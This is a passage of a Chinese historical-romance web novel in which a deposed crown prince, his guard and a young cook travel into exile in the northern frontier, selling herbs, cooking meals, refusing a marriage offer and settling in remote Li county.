锦婳也是大方,来要盐的人,她都从袋子里抓一把给他们。
山谷里不过一会儿飘的都是狼肉的香味。
陆卿尘不吃狼肉,他觉得那是腐肉,无法入口,碰巧,锦婳也不敢吃。
中午,谢威和申家兄弟跟着流犯们吃烤狼肉,她和陆卿尘简单做些就好。
锦婳蒸了两碗鸡蛋糕,配上两个饼子。
陆卿尘不贪嘴,喜欢清淡的,锦婳也是。
两人坐在马车上,各有各的心思,皆是无言。
两人正默默地吃着,就听见马车外有人说话的声音。
“小人求见陆公子!”
锦婳看了陆卿尘一眼,陆卿尘微微点了点头,锦婳掀开了马车帘子。
求见陆卿尘的是一名四十岁上下的男子,穿着破烂带血的囚服,手里拿着一副略显粗糙的拐杖。
见锦婳掀开了帘子,那男人扑通一声跪下了:“多谢陆公子昨夜的救命之恩,我无以为报,之前我是做木匠的,就连日给陆公子打了一副拐杖,请公子不要嫌弃。”
锦婳对这个谢礼倒是很满意,当即下了马车,扶起男人,接过了拐杖。
锦婳把拐杖递给陆卿尘,示意他下地试试。
陆卿尘倒也听话,缓缓挪下马车,他试着用胳膊架住两只拐杖,面朝着皇城的方向缓缓而立。
他背影萧索,身形落寞,凉风习习,吹开他的衣摆,没人知道他此刻在想些什么。
此刻啃着狼肉的流犯们,都不禁看向陆卿尘,官差们感慨道:“就快到北境了,没想到这次路上竟然没有死一个流犯。”
流犯们有人接话:“这都要感念陆公子的大恩大德,一路上施舍饭菜,昨日若不是陆公子相救,今日就不是我们吃狼肉了,是狼吃人肉了。”
“多谢陆公子!”
“对谢陆公子!”
“对!若是没有陆公子,我们早就死了!”
陆卿尘转头看向众人,语气依旧蓦然:“不必谢吾,你们的饭菜是自己挖草药换的,昨日狼群袭击靠的也是大伙的团结,与吾无关。”
众人瞬间领悟,这位废太子,也许活在监视之下,行事、言语都如履薄冰,众人不再多言,继续啃食狼肉。
陆卿尘得了一副拐杖,开始练习走路,只不过是从马车走到十米处的大石头,他都累得满头大汗,风尘仆仆,很是狼狈。
锦婳并没管他,自顾自地收拾着碗筷,若想能走路,就得脱离别人的搀扶,多摔几个跟头,若是这点挫折都受不住,即便是哪日双腿站起来了,人也是站不起来。
陆卿尘坐在大石头上摸着双腿,神情有些落寞。
谢威走过来,蹲在陆卿尘身边,小心翼翼地说:“公子,你的腿……”
陆卿尘摸着腿没说话,谢威心里又是一阵酸涩。
两个官差走过来,对陆卿尘说:“陆公子,出了这座深山,就到了北境,公子身份与其他流犯不同,可以自己挑选流放地。”
见陆卿尘没说话,官差继续说:“北境里最富庶的地方就是林杨镇,红棋镇和木林镇。”
陆卿尘知道,越是富庶的镇子,就越有可能有朝廷的驻军,埋伏眼线的可能性就越大。
陆卿尘知道,这两个官差此刻与他说这些,实属好心。
便出声问道:“这些流犯们都要发配到哪里?”
张洛回答说:“大半是要发配到幽州的,那里是北境最苦寒之地,也是劳工最多的地方。”
王里接着说:“不过,听说那里很不太平,经常被蛮夷骚扰,若是发生战乱,蛮夷先攻打的必是幽州。”
陆卿尘思索片刻:“那吾便随那些流犯们一起发配到幽州吧。”
“这?!”两面官差皆是一愣。
陆卿尘继续说:“吾如今身无分文,总要活下去的,若是哪日没米下锅,吾还可以去做工。”
“唉!”两面官差无奈地摇了摇头。
这一路走下来,他们也算看清了,这废太子为人正直,心地良善,心怀子民。
究竟是犯了什么过错,让陛下如此狠心,将他贬为庶人!
此刻官差和那群流犯心里满是感叹和不公。
两面官差走之前,还不忘回头同陆卿尘说:“陆公子再好好考虑考虑,如今还没到北境,还有时间。”
陆卿尘点头说了句:“好,多谢。”
锦婳收拾着碗筷,耳朵也在默默地听着,其实流放到哪里她无所谓,自小吃惯了苦,不管到哪里,只有努力生活,都能搏出自己的天地来。
锦婳收拾完碗筷,来到大石头旁,看出了陆卿尘心情不好。
谢威也不说话,就坐在石头上陪着。
锦婳先开了口:“公子想流放到哪里,自有自己的考量,不用顾及我二人。”
陆卿尘抬头看了看锦婳,心中一暖:“吾如今的身份发配到哪里,都是那里的麻烦。若是富庶的镇子定有朝廷的眼线,到时又会拿吾的一言一行做文章。”
锦婳瞬间懂了,原来陆卿尘早就有自己的考量了。
见锦婳不语,陆卿尘又接着说:“只是,免不了要你二人同我一起吃苦了。”
谢威急着说:“主子,您这是哪里的的话,无论风里雨里,能陪着您是属下的福气。”
锦婳也表态:“哪里都能赚钱,不分高低贵贱。”
陆卿尘心里感慨,这一路的艰辛、苦楚,也唯有他三人知晓。
“这一路,多亏你二人作陪,多谢了!”
这是真心话,若是没有谢威和锦婳相伴,只有自己孤零零的上路,他不知自己能否坚持得住。
第一卷 第24章 北境
陆卿尘这段日子吃的苦,最是从天上跌落谷底,世间鲜少有人熬得过。
但是为了心中的信念,母后的死因不明,他苦心钻营了多年,终得一机会,至死不会放弃。
母后是这世间唯一爱他护他之人,母后仙逝后他失去了活在这世间的意义,唯有找出母后真正的死因,才是支持他活在这世间的唯一动力,皇位于他,不过烟尘。
救下被狼叼走的那个孩童时,他竟有些羡慕,虽为戴罪之身,被狼咬得受了伤,可有母亲庇护着,心疼着,也是幸事。
不知自己的这一身伤,母后在天有灵,看了会不会难受。
若是难受,他宁可母后不知。
马车下锦婳和申家兄弟叽叽喳喳地不知在说些什么。
陆卿尘收回思绪,看着热闹。
申虎笑嘻嘻地说:“妹子,你怎么不去吃狼肉?”
锦婳收拾着东西,并未抬头:“好吃吗?”
申虎挠挠头,讪讪地笑了笑:“不好吃,有股子怪味,腥的很。”
锦婳扭头瞥了他一眼:“狼肉不是寻常的肉,狼又是有灵性的动物,你吃了狼肉,身上自然就有味道,也不怕招了狼来!”
申虎身子一紧,面色煞白,昨日被狼袭,他可是吓坏了。
锦婳看他那副样子,噗呲一声笑了出来。
“我逗你的,我看你们直接扒了皮就烤,也没有放血,挖内脏,清洗干净,自然味道不好。”
申虎:“你不早说……”
队伍继续往前走,今日就能出深山了。
锦婳把这些天收的草药收拾了一下,满满一筐,计划着进了北境就把它们卖了。
出了深山到达北境只需一个时辰,北境靠山,也是偏僻险境。
到了北境的第一个镇子,富顺镇,锦婳和谢威先拿着草药到药铺去换银钱。
结果那药铺老板只肯给一两银子,可这次卖的草药却比上次售卖的多了一倍还要多。
谢威不愿卖:“掌柜的,这怎么也得值三两银子吧?”
掌柜的笑了笑,但并没有半分不悦:“小伙子,一看你就是外行,这北境靠山,漫山遍野的草药,自然是不缺的。”
“而且你看你这草药处理得并非专业,晒得也不够干,品相倒是不错,但也不是什么珍贵药材,我肯出一两银子已经不少了。”
“若是不信,你大可再往前走几家去问问,恐怕还出不到我这个价。”
锦婳拉拉谢威的胳膊说:“哥,我看这掌柜的说得有理,我们就卖了吧。”
锦婳心想,这草药以后是不能再采了,草药在北境不值钱。
谢威和锦婳卖了草药,拿了钱,出门看到陆卿尘就坐在马车上等着,并不着急,没有二话。
三人身上的钱并不多,不能填什么衣服鞋子,索性就在集市上买了些肉包子。
锦婳这一路做饭辛苦,陆卿尘和谢威也想着吃肉包子,让那小丫头歇歇。
流放队伍穿过市集,引来了小商贩们的注意。
锦婳进了市集,就像放飞的小鸟一般,一会看看这,一会看看那。
这个也想买,那个也想买。
猪肉不错,锦婳买了一大条,大萝卜也来上几个,晚上炸丸子吃!
陆卿尘一路上光看锦婳买买这,买买那,也不觉得无聊。
走出了这个镇子,就是乡村小路了。虽然没有刚刚市集那么喧嚣繁华,但风景却更好了。
路两旁都是庄稼和果树,还有劳作的人们。
锦婳买了几个香瓜,听说是北方特有的水果,闻着就一股香甜的味道。
路边的庄稼里还种了茄子、豆角、角瓜、西红柿,锦婳都来上一些。
买了一堆的蔬菜和水果,统共才花了几文钱,三人不禁感叹,这里的物价真是太适合生存了。
流犯们有的刚刚在集市上卖了狼皮,身上有了一些铜板,也买了些蔬菜瓜果。
锦婳听见流犯中有人感叹:“北境的风景民风都是不错的,真的没有传说中的那般不堪。”
“是啊,本以为被流放到苦寒之地该是多么苦,没想到还是不错的。”
两个官差听了,笑道:“不少人流放到了这,都在这里安家落户了,只不过冬天冷了些,可夏天在这里避暑可是很不错的。”
“而且这里物资丰富,土壤肥沃,只要你们勤劳耕种,必然不会饿肚子的。”
中午了,流放队伍在这片田间地头旁休息,流犯们啃食着刚刚买来的水果和西红柿,就当是午饭了。
锦婳却一点不肯糊弄,虽说陆卿尘和谢威都说吃包子就好,可锦婳却想着,这是到达北境的第一顿饭,怎么也要有点仪式感。
锦婳把猪肉剁成馅,和上香油和盐,撒上葱花。萝卜切成丝,打里一个鸡蛋,撒上些面粉,放上一勺盐。
油锅烧热,肉馅和萝卜馅搓成团,油热下锅,不一会儿便满是香味儿!
丸子炸熟了,锦婳把丸子捞出来放在了一个大盆里,端到马车上给陆卿尘和谢威吃。
锦婳眉眼弯弯,笑眯眯的:“公子,哥,这盆丸子有两种馅,肉馅的和素馅的,吃到哪种就看你们的运气了!”
陆卿尘伸手拿了一个丸子,刚出锅还有些烫,谢威紧接着拿了一个扔进嘴里。
“哇!好烫!妹子,我吃到肉馅的了!真香啊!好久没吃过这么香的炸丸子了,你真不愧是御膳房掌勺的高徒!”
人吃到好吃的,心情自然就会好上大半,即便刚刚谢威在市集上卖草药,受了挫折,他何时因为银钱犯过愁,不过吃上这么一顿热乎乎的炸丸子,便全忘了!
陆卿尘手里的丸子凉了些,缓缓入了口,是萝卜馅的。
锦婳盯着陆卿尘,目不转睛地盯着他的嘴细细咀嚼又咽下,生怕他不喜欢。
“怎么样?可还能入口?”锦婳有些紧张地问。
“嗯,萝卜馅的,鲜咸可口,吾……很爱吃。”
陆卿尘平日里在太子府,吃得很是讲究,什么吃食配什么碗碟,从没有过和旁人在一个大盆里一起吃着小吃,不过,倒别有一番风味。
第一卷 第25章 求娶
申家兄弟闻到了味道,也凑了过来:“什么味道真香啊!锦婳妹子又做什么好吃食了,也不叫上我们兄弟。”
锦婳笑眯眯地把盆往外挪了些:“不过是些菜丸子,我刚刚看你们俩在田边吃香瓜,就没叫你们。”
申虎先拿了一个丸子,扔进嘴里,他刚刚吃香瓜已经吃了半饱,北境的香瓜是真甜啊,口感粉面,他头一次吃这么好吃的水果。
本以为吃饱了,可闻见锦婳炸丸子的香味儿,便觉得自己还能再吃一些,便拉着弟弟申豹一起过来了。
刚扔进嘴里,申虎便睁大了眼睛,对锦婳竖起大拇指:“妹子!你这丸子绝了!若是拿到集市上卖,肯定能赚钱!”
申豹嘴笨倒是不会说什么,但是看他埋头一直吃,也知道这丸子味道很是不错!
倒是陆卿尘,胃口好似不佳,吃了几个便不肯再伸手拿了。
锦婳看他不吃了,便说:“是不是不合胃口,等晚上我在给你做些清淡的。”
谢威笑笑:“这就是你的不是了,到现在还没摸清公子的口味!”
锦婳听了不悦:“什么叫我的不是,谁知今日公子因为何事心情不佳,哥倒埋怨我做的菜了,这一路我做得还不够多!”
谢威见锦婳好像真的生气了,也不知该怎么哄,一时语塞。
陆卿尘打着圆场,又拿起一个素丸子:“我再吃几个便是了。”
锦婳对着谢威开始不依不饶:“哥若是真心心疼公子,该是为公子表演一套杂耍,哄公子开心才是!”
谢威:“……”
陆卿尘吃着菜丸子,看着兄妹俩斗嘴,只觉得好笑。
谢威就这么被锦婳给轻松拿捏,以后指不定怎么被锦婳欺负。
几人吃完了丸子,开始看着流犯们发呆。
流犯们都吃着自己刚刚跟菜农买的瓜果蔬菜,好似好些天没吃过饱饭一般。
申虎感慨:“不怪他们吃起来无度,实在是流放路上的伙食太差了,就那个玉米饼子能把人给噎死,朝廷腐败,竟然如此对流犯,不如杀头来得痛快。”
谢威听了,声音低沉地说:“管好你的嘴,这话若是被有心人听见,又要治你的罪!”
申虎却不以为意:“我怕治罪吗?这世道就是不公!有权有势的人一手遮天,朝廷昏庸无道,百姓们都是身在水深火热,做梦都想求一明君!”
谢威厉声说:“你说这话,就不怕杀头吗!”
申豹也拦着哥哥,不让他再继续说下去,可申虎却推开申豹,这一路,他和谢威处出了感情,也是真把他当成兄弟了。
“我看你家公子就很是不错,文韬武略,仁义爱民,可怎的也落得如此下场!”
谢威急了:“你若要说胡话,便关起门去自己说,不要连累我家公子!”
谢威连推再赶地把申家兄弟给推走了。
锦婳看向陆卿尘,他永远是那般的泰山崩于前而面不改色。
谁也看不清他的内心到底有没有波澜,锦婳只看到他的拳微微攥紧又轻轻放下。
这时,官差们喊着流犯们开始赶路了,锦婳赶忙收拾东西,谢威赶着车。
一路上风景极好,天高云淡,锦婳跟着马车走,不时地在马车旁嘟囔:“公子你也是太懒了,如今有了拐杖,就该下地多走走,你这么懒,腿什么时候neng恢复呀?!”
陆卿尘听了不语,也只是笑笑。
他知道锦婳是关心他,才会如此嘟囔。
他的腿如今已经好了大半,身上的板子伤也已经愈合了,可是若是想恢复从前那般行走,还要一些时日。
他对自己的伤心中有数,不肯下车是不想让有心人看到,一路上到底有没有眼线,还未可知。
队伍又走了半日,便到了北境最富庶的镇子,乾安镇。
黄家人大概是使了不少银子,被安排到了乾安镇落脚。
黄家家主走到陆卿尘马车前,与他道别。
也许是一路上的陆卿尘和锦婳的颇多照顾,黄家家主朝着陆卿尘鞠了一躬。
“陆公子,对谢您对小儿的救命之恩,后会有期了!”
陆卿尘面不改色,只是点了点头。
随后黄轩来到锦婳身边,眉目含情地对锦婳说:“锦婳妹妹,若是你想通了,今日便与我们走吧,乾安镇是北境最富庶的镇子,跟着我定不会让你吃苦的。”
说完,黄轩便掏出一张银票递给谢威:“谢大哥,这是一千两银票,也是我们黄家能拿出的最大的诚意了。”
“我是真心想娶锦婳妹妹,还请谢大哥成全。”
马车上的陆卿尘微微蹙眉,锦婳一向看中银钱,会不会就这么跟着这小子走了。
锦婳目不转睛地看着银票,这还是她这辈子第一次看见一千两银票!
她没想到,她竟这般的值钱!
若她是谢威,十个锦婳她也卖啊!
谢威推开银票,皮笑肉不笑,他谢威可不是没见过的钱,眼皮子浅的人。
只不过这黄家人为何非要娶锦婳,难不成锦婳真的旺夫,那更不能把锦婳嫁给他,要旺也得旺主子才是!
谢威看那银票眼皮都没抬一下,对黄轩说:“黄家公子,你既然知道锦婳是我妹妹,哪有哥哥卖妹妹的道理?你若真想娶锦婳,先问过她自己!”
黄轩讪笑,又看向锦婳:“锦婳妹妹,你可愿意跟我走?”
锦婳眼睛只盯着那张银票,脑子里已经开始计划着,这张银票能开几个酒楼,几个驿站,只是她实在想不通,她哪里值这一千两银子。
锦婳有时也反省,自己是不是太贪财了。
她收回思绪对黄轩说:“我那日说的话,黄公子可考虑好了?”
黄轩有些为难:“锦婳妹妹,我黄家实在不需要你去抛头露面,我们从京城带来的银钱也足够你花几辈子了。”
锦婳笑笑,眼睛清亮:“黄公子大概还是没明白我的意思,爱会衰,色会迟,只有自己赚的银子才靠得住。”
锦婳说这话时,态度不软不硬,语气不冷不热,不知为何,竟与陆卿尘有些像。
第一卷 第26章 徐州
那黄轩也不是听不懂话的人,心思也同明镜一般的人,自然懂得锦婳话中的意思,这姑娘不知经历过什么,这般的坚韧,不依靠任何人,在流放路上反而凭自己小小的身板养活了一群流犯。
想来,是自己配不上她了。
黄轩拱手:“锦婳姑娘,后会有期!”
锦婳面上依旧不冷不热:“黄公子,后会有期。”
黄家人走后,谢威靠着马车与陆卿尘小声嘟囔:“这黄家人看上了锦婳什么?难不成她真是旺夫的命?”
“这锦婳竟比主子还被看重,这锦婳的面相究竟有何特别之处?”
陆卿尘也不懂得看面相,只得猜测说:“大概是看出锦婳能生儿子吧。”
锦婳刚送走那个粘人的黄轩,有听见这两人说风凉话,心中烦闷得很:“你们俩是不是闲得难受?洗洗涮涮的一堆活,也不见你们干一点!”
陆卿尘非但没有生气,反而眉眼含笑。
谢威也笑嘻嘻地说:“哥和主子不过是开个玩笑罢了,要不这流犯的路上多无聊。”
锦婳却不愿意了:“我看你才是生儿子的面相,不如你去给他生个儿子好了!”
谢威和锦婳两人追逐斗嘴,竟叫陆卿尘难得地露出笑颜。
锦婳虽然平日里话少,可性子坚韧,是个不肯吃亏的性子。
陆卿尘想着,以后有机会真的要找个高人给锦婳看看面相,兴许真的旺夫也说不定。
闹了一会儿,官差又叫赶路,队伍还要往前走五日,就到了大多数流犯们落脚的地方,幽州里的离县。
是北境最苦寒之地,多数人都在靠做苦工挣一些勉强活命的铜板。
张洛故意放慢了脚步,靠近陆卿尘的马车:“陆公子,可当真考虑好了?离县可是最冷最苦的地方,到了冬日里村民们都极少出门,若是没有厚棉衣,出门都要被冻死的!”
陆卿尘心中自有自己的思量,却无法道与旁人说,只是点头,并未理会张洛。
张洛叹了口气,快步赶上了队伍。
又走了半日,流犯队伍到达了北境的中心,徐州。
这里的繁华程度不亚于京城。
街市上售卖的糖葫芦、油茶面、粘豆包、菜包子!都是北边的特产小吃!
这里的街市人来人往,百姓们穿的衣服也是特有的北方民族的装扮。
狐狸毛,虎皮,皆可以作为衣料装饰在衣服上。
这里的房子也建得大气坚固,陆卿尘细细观察着,不知这徐州目前是谁在管理。
陆卿尘让谢威叫来张洛:“这徐州城民风如何,又是谁在当政?”
张洛以为陆卿尘看上了这徐州城,想要在此落脚,便如实回答:“陆公子好眼力,这徐州是北境的中心,周围县城的百姓若是想交易家中的农产、布料,都要在这交易。”
“徐州是赵通判在管理,赵通判为人正直,以百姓为天,致力于家家户户安居乐业,在百姓心中,赵通判就是他们的天!”
“陆公子若是看中了这,我便去府衙里问问,看是否可以接收流犯。”
陆卿尘对这赵通判满心的好奇,不知他是否就是母后的陪嫁丫鬟碧痕所嫁的通判。
陆卿尘接着问:“这徐州城之前不接受流犯?”
张洛道:“是,赵通判认为,既身为流犯,定是犯了罪过。大到杀人放火,小到偷鸡摸狗,徐州城现下民风淳朴,百姓更是生活的幸福,若是被流犯们搅坏了一锅粥就得不偿失了。”
张洛缓了缓又道:“不过……陆公子您身份特殊,许是能接收的。”
陆卿尘却若有所思:“不必了,莫坏了规矩。”
继而对着张洛道:“继续赶路吧。”
张洛叹了口气,快步追上了队伍。
流放队伍继续前行,陆卿尘坐在马车里,却眼眸微沉,他不能明目张胆地接近那位赵通判和碧痕,以免给他们惹来麻烦。
这流放队伍里难免有丽妃的眼线,就算那张洛和王里也不见得能置身事外。
越是繁华富庶的地方越是危险,倒不如去最偏僻的离县,也少了许多麻烦。
至于赵通判,既然他费尽心力来到了北境,那以后自然有的是机会接近他,不必急于一时。
陆卿尘手指微搓,坐在马车里显然在思索什么,锦婳见了,却有些不懂了。
她刚刚明明看见了几个大酒楼,若是能在这里的后厨做工,养家户口应该不成问题,何必要大家一起做苦工勉强糊口。
虽然大家流放走了一路,但她觉得自己还是不太了解陆卿尘,总觉得他这个人心思很重,总在想些不可告人的事。
陆卿尘这个人仁义是真的,没有高高在上、不可一世那些纨绔子弟的臭毛病是真的,没有太子架子也是真的,但是你若是说他随和,他却谨守自己的底线,不容触犯。
锦婳心想,到底是打从一出生就做了太子的人,他看这徐州和旁人看徐州肯定是不一样的。
陆卿尘回过神,看锦婳皱眉看着一座路过的大酒楼不知道再思索什么,锦婳这小丫头的小脑袋瓜里一天竟想些稀奇古怪的事。
不知道这小丫头又有了什么鬼主意,陆卿尘无奈地笑笑。
出了徐州城,申虎又带着弟弟申豹嬉皮笑脸地凑了过来。
锦婳心想,就冲申虎这个脸大不害臊的劲,到哪里都吃得开。
申虎必然是这几日没有混到什么好吃食,狼皮换的银子也花光了,过来讨吃食了。
你若说他为人仗义,这一路赶车的确都亏了他们两兄弟,替谢威分担了不少。
可明面上,他们二人又是为了吃食而来,锦婳也有些弄不懂他们到底是什么关系了。
谢威看了申虎一眼,没好气地说:“滚远点,少来坑害我家主子!”
申虎非但没生气,更加陪着笑脸说:“兄弟,这两天赶车累了吧,快歇歇,我来!”
说完申虎就把谢威推下马车,和弟弟申豹赶起车来。
谢威见有人替自己赶车,也乐得自在,不过一顿饭的功夫,谢威和申家兄弟便和好如初,勾肩搭背地混在一处了。
第一卷 第27章 离县
流放队伍又往北边走了两日,陆卿尘和锦婳只觉得越走越荒凉,越走天气越冷了些。
若说前几日还觉得北境并不似传闻中的那样荒凉,瓜果蔬菜一应俱全,集市热闹非凡。
这两日走的镇子和村子都凄凉得很,荒山秃岭,庄稼也少了很多。
前几日锦婳还觉得自己的粗布衣还能适应这里的温度,这两日就觉得冷嗖嗖的。
卖草药的钱一直是陆卿尘管着,眼看这两日越来越冷,几人还没有棉衣御寒,再往北边,只怕是更冷了。
流放队伍歇息的功夫,陆卿尘把锦婳叫到身边,从里怀里掏出银子。
“这是你叫我保管的银子,再路过县城,去买几套御寒的棉衣来穿,若是着了风寒,买药来吃,这些银子也是不够的。”
锦婳应下,接过银子,路过县城时真的去集市上买了三套厚厚的棉花缝制的粗布衣。
锦婳嘴馋,看见集市上卖好吃的东西便想买来尝尝,可又舍不得身上的铜板,只得讪讪地回了马车旁。
陆卿尘看出锦婳眉眼不悦,心下一紧,低声问道:“可是被欺负了?”
锦婳摇摇头:“身上的银钱不多了,想买些卤肉来尝尝,不舍得。”
陆卿尘刚刚紧绷的心松懈了下来,他还当是什么事,原来是小丫头馋了。
是自己想得不周了,集市上那么多买好吃的的摊子,他却只给了小丫头买棉衣的银钱。
陆卿尘掀开马车的帘子喊谢威:“你身上可还有铜板?”
谢威掏了掏里怀:“主子,这是上次卖草药的一两银子,都在这了。”
陆卿尘拿过银子递给锦婳:“去吧,买些爱吃的吃食,晚饭也有着落了,省得你再受累生火做饭。”
陆卿尘是大钱花惯了的人,对银子一向没有概念,谢威也是。
再说,他不是没有银子,他的私库就在青龙、和白首处,此刻也应该被青龙、白首运往北境图中。
可锦婳哪里知道,她接过银子:“你们还当自己在太子府吗?如今我们只有这么一点银子了,草药的生意也是没法做了,以后还不知如何挣银子。”
“好好的徐州不住,非得要去离县那么偏远的地方,若是我们落户在徐州,哪怕我去酒楼帮厨,咱们几个吃饭也不成问题不是。”
锦婳话里话外都是埋怨,然后没好气地拿着银子走了。
谢威看着锦婳倔倔的小背影有些愣神了,这丫头胆子是真大,数落起主子来,一点不带留情面的。
陆卿尘也是一时没反应过来,长这么大,还没谁敢这么和他说话。
他问谢威:“你说,锦婳有把吾当作主子吗?”
谢威一时语塞,要说这锦婳吧,流放这一路,出力最大的就是她。
照顾起主子来也是头头是道,细致入微。
可是就是心情不好时,想数落你一顿就数落你一顿,才不管什么主子奴才的。
可她心底好却是没得说的,方才那番话也不过是心疼钱罢了。
谢威便为锦婳解释道:“主子别生气,锦婳那丫头年纪还小,回头有时间了再慢慢调教便是了。”
都十七了,还小吗?
陆卿尘这才反应过来,原来锦婳在徐州时看着那几个大酒楼发呆,是想去里面帮厨啊!
他还以为她是贪恋徐州的繁荣,倒是他误会她了。
想到这,他觉得更应该给她些银钱买些零嘴补偿她。
不一会儿,锦婳捧着大包小包的,蹦蹦哒哒地走过来了。
看样子心情不错,仿佛刚才数落陆卿尘的事根本没发生过。
这丫头翻脸比翻书还快,好的也快,忘得也快,根本不需要人哄。
锦婳把买来的零嘴都放在马车上,她都让人用牛皮纸袋,一袋一袋地封好了,免得受潮。
陆卿尘平日就在马车上看书,也怪无聊的,给他买些北境特有的零嘴,看书的时候吃一些也不觉得无趣。
锦婳开始给陆卿尘和谢威介绍。
“这是蜜枣,很甜的,我刚刚尝了一颗,好吃得很。还有这个,蜜桔干,北境这个季节特产蜜桔,泡上糖水晒干了,比吃鲜橘子还甜!”
“还有这个,炸春卷!你们俩没吃过吧?薄薄的面皮里面裹的豆沙馅,咬一口外酥里糯,我回来的路上偷吃了好几个!”
“这个是糯米枣,枣子里夹的糯米,热油炸熟,这个是这里最好吃的!”
“我还买了卤货,卤鸡腿、藕片、猪头肉。”
“这是糖酥饼,酥得掉渣,热的时候里面的糖还会流出来!”
“其实这北境蛮好的,民风淳朴,好吃的、好玩的又多,等安顿下来,我再找份工,日子一定会越过越好的。”
陆卿尘和谢威一边吃着锦婳带回来的零嘴,一边听着小丫头滔滔不绝的介绍,这小丫头心地不坏,为人又仗义,只是有时候上来那股劲,脾气有点大。
几人吃完了,锦婳又煮了点热茶,冷宫里带出来的茶叶不多,锦婳只有在为数不多的心情尚好的时候才肯拿出来煮上一点点。
眼看到了离县,陆卿尘一边看书,一边吃着锦婳带回来的零嘴,一路上倒也惬意。
陆卿尘放进嘴里一粒蜜枣,心里不禁感慨,这小丫头对美食的天赋极高,怪不得她一直盼望能开个属于自己的酒楼。
若是有一天,母后大仇得报,他杀回京城,就在皇城跟底下,给她开一个最大的酒楼。
转眼,进了离县境内。
离县果然偏远贫穷,起码表面上看着是那样。
房子都是黄土坯房,不似前几个镇子砖房较多。
街上行人也是大多穿着打补丁的衣服,几乎没见到有人穿绫罗绸缎。
街市上也是人烟稀少,买货的更是少。
锦婳倒不那么看,这一路,她学到了几个北境特有的吃食,看样子这离县还没有卖的,若是自己再研究研究,加工加工,拿到集市上售卖,说不定能大卖呢!
锦婳一心想赚钱,所以走到哪里,看到的都是商机。
大部分流犯,都跟着进了离县境内,官差开始带着流犯们找府衙。
第一卷 第28章 张澈
锦婳一路上细细观察,虽然都说离县是北境最苦寒之地,可在这里安家的人数却不少于之前路过的任何一个县城。
而且家家户户有田种,离县有河流,自然就有鱼汤。
锦婳还看见好几户农户家里养了猪、牛、鸡等家禽。
锦婳心里甚至有些怀疑,离县是真穷还是装穷啊?!
即便是京城之地,家里养猪养牛的也不多吧?这可是北境啊,发配罪人的最苦寒之地啊!
一行人终于到了府衙,两个官差敲了府衙的门。
大概过了一刻钟,破败的衙门大门“吱呀”一声打开了,是一位年轻男子,却未着官服。
那男子看着不过二十岁上次,威风凛凛,气宇轩昂。
面容却白皙清秀,头发扎成高高的冠,却不似陆卿尘在宫里那般用玉冠束发,只是绑了青色丝带。
那青年男子见到众人,语气里却透着几丝威严:“你们找谁?这是要做什么?!”
张洛上前交涉:“这位小哥,我们是押送朝廷流犯的,这是公文,还麻烦你交给县官大人。”
那青年眼神锐利,瞥了眼马车上的陆卿尘,流放还有做马车来的?这人什么来头?
看穿着与离县的百姓相差无二,皆是粗布麻衣。
可论气质,却不同凡响。眉目之间满是贵气,再看他身边的随从,一看就是有功夫在身,那随从腰间的佩剑一看就是精工巧匠所制,只单看那佩剑上的红宝石,恐怕就值黄金万两。
打量了半晌,那青年开口:“你们也是流放而来?”
没等陆卿尘开口,锦婳眉眼弯弯地抢先答了:“是,这位小公子,我们是流放来的。”
那年轻男子自小便生活在北境,是县官家的独子,长这么大,还是头一次听见别人叫他小公子,而且叫得这般的好听。
那青年见锦婳随和,说话有柔声柔气的,语气也缓和了许多:“我叫张澈,以后你们遇到什么事,只管来衙门找我便是了。”
张澈给张洛和王里两个官差放了行,让他们进到县衙里交公文,自己看管门外的一行流犯。
张澈见锦婳长得怪秀气的,人也随和可亲,莫名地有了好感。
便好奇地对着锦婳问:“叫什么名字,犯了什么事?”
锦婳声音柔柔又脆生生地回答:“小公子,我叫锦婳,是随家里兄长来流放的。”
张澈又问:“你家兄长什么来头,怎么还能坐着马车来?”
锦婳如是说:“他的腿被打断了,实也没犯什么大错,就给安排了辆马车。”
张澈见和锦婳聊得投机,又多问了几句:“流放路上可还艰苦,每次我问父亲被贬官的路上的事,父亲都摆手不再言语。”
锦婳点头:“自然是苦的,风餐露宿,食不果腹,还会遇见狼群袭击,你看我们这群人这般的狼狈,就知道了。”
“狼群?!”张澈听了睁大了眼睛。
“是,狼群饿狠了,看见人就叼,有不少人受了伤。”锦婳说起那夜狼袭,还是止不住的后怕。
锦婳想岔开话题,便问道:“张家小公子,不知今夜我们在哪落脚,可有给我们住的地方?”
张澈听锦婳一口一个小公子的叫着,竟有些不好意思了,北境的女子大多彪悍,很少有说话这般软软糯糯的,挠得人心里痒痒的。
“有倒是有,只不过是衙门建的公用房,条件一般,你们这群流犯没有银子自己盖房子之前,都要住到那。”
锦婳眉眼弯弯笑嘻嘻地说:“能有个地方遮风挡雨对我们已经很好了,只是不知这个县城民风如何,像我们这样刚到这的人该如何赚钱换吃食?”
张澈想了想说:“一般刚到这的流犯都去山里做工了。”
锦婳不懂:“小公子,山里能做什么工?”
张澈解释:“北境这边的林子多,木材也多,哪里的人家若是要打个柜子、桌子多半要从这边的林子里拉木材。”
“不过,这边是大乾最北边的边境,经常有蛮夷来犯,倒是不如你们南边太平。”
“有时百姓好不容易攒了几个钱,蛮夷一来,就全被抢走了。”
锦婳眉眼微皱:“那朝廷就不管吗?”
一提到朝廷,张澈面上明显的怒气:“别提那个朝廷了!唉,真是一言难尽!”
锦婳和张澈闲聊着,有一句没一句的,陆卿尘坐在马车上听着,看了北境的边境还是不安生,蛮夷不灭,百姓难以安居乐业。
这个问题他同父皇劝谏过许多次了,可父皇却每次都以朝廷财力不足,军队补给不够,朝中无人领兵为由,不肯讨伐蛮夷。
百姓如此水深火热,朝廷却不管不问,陆卿尘身为皇子,只觉得满腔的愤意,面上羞愧无光。
这次他到北境,目的其一是寻找碧痕,查到母后真正的死因。
其二就是了解真正的北境现状,子民们生活得是否安定,而不是奏折上那些冠冕堂皇的话,永远国泰民安。
正当陆卿尘皱眉思索时,两个官差张洛和王里面色不悦地从衙门口出来了。
特别是张洛,出门便抬眼不敢直视地瞥了陆卿尘一眼。
陆卿尘眼睛一眯,看来有事。
衙门里的官差出来传话,张澈热心地带流犯们去衙门建的工房落脚。
陆卿尘、谢威和锦婳被安排在一个东西朝向的小单间里。
锦婳进了房子,可以用家徒四壁来形容了。
不过缺的东西日后可以慢慢填补,日子会过起来的。
锦婳在炕上铺着被褥,谢威绑好马车,也搀着陆卿尘走了进来。
锦婳笑眯眯地转头说:“公子、哥,这就是北边特有的大炕,张家小公子说,做饭时烧的火坑是连着炕的,到时炕上暖暖和和的,不多铺机床被褥都会烫屁股,对公子的腿上有好处!”
